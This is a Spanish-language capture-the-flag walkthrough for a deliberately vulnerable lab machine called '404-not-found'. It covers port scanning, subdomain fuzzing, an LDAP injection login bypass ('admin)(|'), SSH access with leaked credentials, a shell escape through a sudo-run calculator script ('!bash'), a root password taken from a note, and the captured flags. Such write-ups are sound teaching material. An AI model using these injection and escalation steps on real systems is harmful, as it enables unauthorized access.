CTF 404-not-found Easy
URL Download CTF = https://drive.google.com/file/d/1EF-a2vshKyVlETi33XspsmGeNsqND8JC/view?usp=sharing
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip 404-not-found.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_mount.sh 404-not-found.tar
Info:
___________________¶¶
____________________¶¶__¶_5¶¶
____________5¶5__¶5__¶¶_5¶__¶¶¶5
__________5¶¶¶__¶¶5¶¶¶¶¶5¶¶__5¶¶¶5
_________¶¶¶¶__¶5¶¶¶¶¶¶¶¶¶¶¶__5¶¶¶¶5
_______5¶¶¶¶__¶¶¶¶¶¶¶¶¶¶¶_5¶¶__5¶¶¶¶¶5
______¶¶¶¶¶5_¶¶¶¶¶¶¶¶¶¶¶¶¶5¶¶¶__¶¶¶¶5¶5
_____¶¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_¶¶¶¶¶¶¶5
____¶¶¶¶¶¶¶_¶¶¶5¶¶¶¶5_¶¶¶¶¶5_5¶_¶¶¶¶¶¶¶¶5
___¶¶¶¶¶¶¶¶__5¶¶¶¶¶¶5___5¶¶¶¶__5¶¶¶¶¶¶¶¶¶5
__¶¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶5__5¶¶5_5¶¶¶¶¶¶¶¶¶¶¶
_5¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶¶¶¶¶¶¶¶5
_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶
5¶¶¶¶¶¶¶¶¶¶¶¶5___5¶¶¶¶¶¶¶5__¶¶¶¶5_¶¶¶5_¶¶¶¶
¶¶¶¶¶¶¶¶_¶¶5_5¶5__¶¶¶¶¶¶¶¶¶5_5¶¶¶_5¶¶¶_5¶¶¶5
¶5¶¶¶¶¶5_¶¶_5¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶5_5¶¶_5¶¶¶_¶¶¶5
¶¶¶¶_¶¶__¶__¶¶¶¶¶¶5_5¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶¶_5¶¶¶
¶¶¶5_5¶______5¶¶5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶5_¶5¶
5¶¶____5¶¶¶¶5_____5¶¶¶¶¶¶¶5_¶¶¶¶¶5_¶__¶¶_5¶¶
_¶¶__5¶¶¶¶¶¶¶¶¶¶5____5¶¶¶¶¶¶_¶¶¶¶¶_____¶5_¶¶
_¶¶___5¶¶¶¶¶¶¶¶¶__________5¶5_¶¶¶¶¶____¶¶_¶¶
_¶¶_______5¶¶¶¶¶¶5____________¶¶¶¶¶_____¶_¶¶
_5¶5________5¶¶_¶¶¶¶5________5¶¶¶¶¶_______¶¶
__¶¶__________¶___¶¶¶¶¶5___5¶¶¶¶¶¶5_______¶5
__¶¶____________5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶________¶
___¶________________5¶¶¶¶¶¶¶¶5_¶¶
___¶__________5¶¶¶¶¶¶¶¶5¶¶¶5__5¶5
_____________________5¶¶¶5____¶5
## ## ## #### ### ## ####### ###### #### ## ###### #####
## ## #### ## ## ## ## ## # ## ## ## #### ## ## ## ##
## ## ## ## ## ## ## ## # ## ## ## ## ## ## ## #
####### ## ## ## #### #### ##### ## ## ## ##### #####
## ## ###### ## ## ## ## # ## ## ## # ###### ## ## ##
## ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ## ## ## ##
## ## ## ## #### ### ## ####### #### ## ####### ## ## ###### #####
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.21.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 06:12 EDT
Nmap scan report for 404-not-found.hl (172.21.0.2)
Host is up (0.000033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 59:4e:10:e2:31:bf:13:43:c9:69:9e:4f:3f:a2:95:a6 (ECDSA)
|_ 256 fb:dc:ca:6e:f5:d6:5a:41:25:2b:b2:21:f1:71:16:6c (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: 404-Not-Found CTF
MAC Address: 02:42:AC:15:00:02 (Unknown)
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.63 seconds
Vemos que hay un puerto 80
, pero si entramos mediante la URL nos aparecera directamente un dominio llamado 404-not-found.hl
, lo añadiremos a nuestro archivo /hosts
para que funcione.
nano /etc/hosts
#Dentro del nano
<IP> 404-not-found.hl
Lo guardamos y ahora si vamos a ver la pagina, por que ya se resolveria correctamente.
URL = http://404-not-found.hl/
Vemos mucha informacion pero no es muy util practicamente nada, por lo que veremos si tiene algun subdominio de la siguiente forma.
ffuf (Subdominio)
ffuf -c -w <WORDLIST> -u http://404-not-found.hl -H "Host: FUZZ.404-not-found.hl" -fw 20
Info:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://404-not-found.hl
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Header : Host: FUZZ.404-not-found.hl
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 20
________________________________________________
info [Status: 200, Size: 2023, Words: 674, Lines: 150, Duration: 3ms]
:: Progress: [20469/20469] :: Job [1/1] :: 4000 req/sec :: Duration: [0:00:08] :: Errors: 0 ::
Por lo que vemos encontramos un subdominio
llamado info
, lo añadiremos en nuestro archivo hosts
.
nano /etc/hosts
#Dentro del nano
<IP> 404-not-found.hl info.404-not-found.hl
Lo guardamos y nos iremos a la siguiente URL.
URL = http://info.404-not-found.hl/
Dentro de este subdominio
veremos un panel de login
el cual no hace gran cosa, tampoco es inyectable a SQLInjecction
, no van las credenciales por defecto, pero si inspeccionamos el codigo vemos lo siguiente.
<!-- I believe this login works with LDAP -->
Nos da una pista de que puede ser vulnerable con un Bypass
de LDAP
.
Bypass LDAP
URL = https://book.hacktricks.xyz/pentesting-web/ldap-injection#login-bypass
Probaremos a bypassear el login de la siguiente forma.
User = admin)(|
Pass = admin)(|
Y por lo que vemos accedemos al panel de administrador, si bajamos un poco vemos unas credenciales las cuales probaremos mediante SSH
.
SSH
ssh 404-page@<IP>
Metemos la contraseña obtenida not-found-page-secret
y ya estariamos dentro.
Escalate user 200-ok
Si hacemos sudo -l
veremos lo siguiente.
Matching Defaults entries for 404-page on 084fadd2eeb1:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User 404-page may run the following commands on 084fadd2eeb1:
(200-ok : 200-ok) /home/404-page/calculator.py
Vemos que podemos ejecutar como el usuario 200-ok
el script de calculator.py
por lo que haremos lo siguiente.
Si ejecutamos ese script vemos que es una calculadora normal, pero si leemos una nota en el siguiente directorio.
cat /var/www/nota.txt
Info:
In the calculator I don't know what the symbol is used for "!" followed by something else, only 200-ok knows.
Nos da una pista de que probemos poniendo el simbolo !
por delante y poner algo, por ejemplo ejecutare un ls
poniendo el !
por delante.
sudo -u 200-ok /home/404-page/calculator.py
#Dentro del script
!ls -la
Info:
total 36
drwxr-xr-x 1 404-page 404-page 4096 Aug 19 12:30 .
drwxr-xr-x 1 root root 4096 Aug 19 11:21 ..
-rw------- 1 404-page 404-page 170 Aug 19 11:31 .bash_history
-rw-r--r-- 1 404-page 404-page 220 Aug 19 11:19 .bash_logout
-rw-r--r-- 1 404-page 404-page 3771 Aug 19 11:19 .bashrc
drwx------ 2 404-page 404-page 4096 Aug 19 12:30 .cache
-rw-r--r-- 1 404-page 404-page 807 Aug 19 11:19 .profile
-rwx--x--x 1 200-ok 200-ok 784 Aug 19 11:23 calculator.py
Vemos que nos deja ejecutar comando con un !
delante, por lo que obtendremos la shell del usuario 200-ok
de la siguiente forma.
sudo -u 200-ok /home/404-page/calculator.py
#Dentro del script
!bash
Y con esto ya seremos el usuario 200-ok
, por lo que leeremos la flag.
user.txt
bef4bb318a17abd01158337811750bcf
Escalate Privileges
Si leemos el archivo llamado boss.txt
veremos lo siguiente.
What is rooteable
Puede ser una posible contraseña o algo parecido, por lo que la probaremos con root
.
su root
Y si metemos esa palabra como contraseña de root
(rooteable
) veremos que somos root
, por lo que leeremos la flag.
root.txt
2424b2a3292e20c6e1ade39ed3e77629
Last updated